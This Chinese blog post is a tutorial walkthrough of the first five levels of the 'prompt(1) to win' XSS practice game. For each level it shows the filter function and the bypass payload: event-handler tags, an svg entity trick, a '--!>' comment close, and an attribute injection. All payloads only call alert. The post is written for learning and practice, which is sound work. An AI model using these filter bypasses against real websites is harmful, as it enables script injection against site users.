XSS是Web安全裏一個非常重要的漏洞類型,其攻擊方式靈活,可操作性強,所以學好怎麼玩XSS還是很重要的。

同樣是插,怎麼才能一下子就插到位?這是個值得研究的問題。下面我們一起來插插看:

級別0:

function escape(input) {
return <input type="text" value=" + input + ">;
}

這是一段不設防的JavaScript代碼,也就是我們只要眼睛閉著使勁插就行了,但是!可不要忘了用雙引號以及尖括弧閉合原來的標籤呦。

級別1:

function escape(input) {
var stripTagsRE = /</?[^>]+>/gi;
input = input.replace(stripTagsRE, );

return <article> + input + </article>;
}

這還是一段JavaScript代碼,只不過這次它有了準備,你想直接插是不可能了。

我們來讀一讀這段代碼:這個正則的意思就是匹配用尖括弧括起來的字元串,然後JavaScript使用replace()方法將其替換成空,所以你直接插入<script>肯定是不行了,這時候我們就要利用類似於onerror這樣的事件來插入了,構造方式如下:

<img src= onerror=alert(xss)

也許你已經注意到了,我並沒有閉合這個標籤,原因當然不是為了逼死強迫症,而是...自己想吧哈哈哈。

級別2:

function escape(input) {
input = input.replace(/[=(]/g, );
return input;
}

老規矩,先看代碼。同樣是一個正則,它將等於號=以及左圓括弧( 替換成空。沒辦法構造事件了,就連屬性也用不了,是不是有點慌了?說實話,我也在這裡卡了很久,好在最後找到了解決辦法,代碼如下:

<svg><script>alert&#40;1)</script>

因為有svg標籤,所以&#40;就會被轉碼為(,語句也就構造成功了。

級別3:

function escape(input) {
input = input.replace(/->/g, _);
return <!-- + input + -->;
}

又是熟悉的正則,它的主要功能就是在-和>連在一起時將其替換成下劃線,再加上輸入會被嵌入在注釋中,我本來想用-->直接關閉注釋的手也只能微微顫抖了。

但是真的沒有其他辦法關閉注釋了嗎?仔細想想哦~

其實,在HTML5中,--!>也可以被用來關閉注釋,這樣就可以直接繞過過濾器啦。

級別4:

function escape(input) {

input = input.replace(/>|on.+?=|focus/gi, _);

return <input value=" + input + " type="text">;
}

繼續瞅碼,這一次它是將右尖括弧以及事件處理程序替換成了下換線,而且把用戶輸入嵌入了input的value值裏。好好思索一下該怎麼處理這個問題,給你三分鐘時間啊~

時間到!下面我要說解決辦法了。答案就是給它添加一個type屬性,值為image(這樣做為什麼可行?請參閱HTML官方文檔的相關內容),然後再用事件來觸發JavaScript。代碼如下:

"type=image src onerror
="alert(1)

騷年,是不是萬萬沒想到呢?哈哈哈,XSS的魅力就在這兒,構造非常靈活,只有你想不到,沒有...嘿嘿嘿...

本文的源碼皆來自此鏈接:prompt(1) to win - 0x0 這是一個在線練習XSS語句構造的遊戲,我只是節選了前幾關,感興趣的可以自己去遊玩~

當然,答案也在此放出:cure53/XSSChallengeWiki 希望你玩的愉快~ ~


還有熟悉的廣告:t.zsxq.com/MFiE2JM

我們的星球還在建設當中,旨在分享各類資源與技能,需付費,介意勿入。


推薦閱讀:
相關文章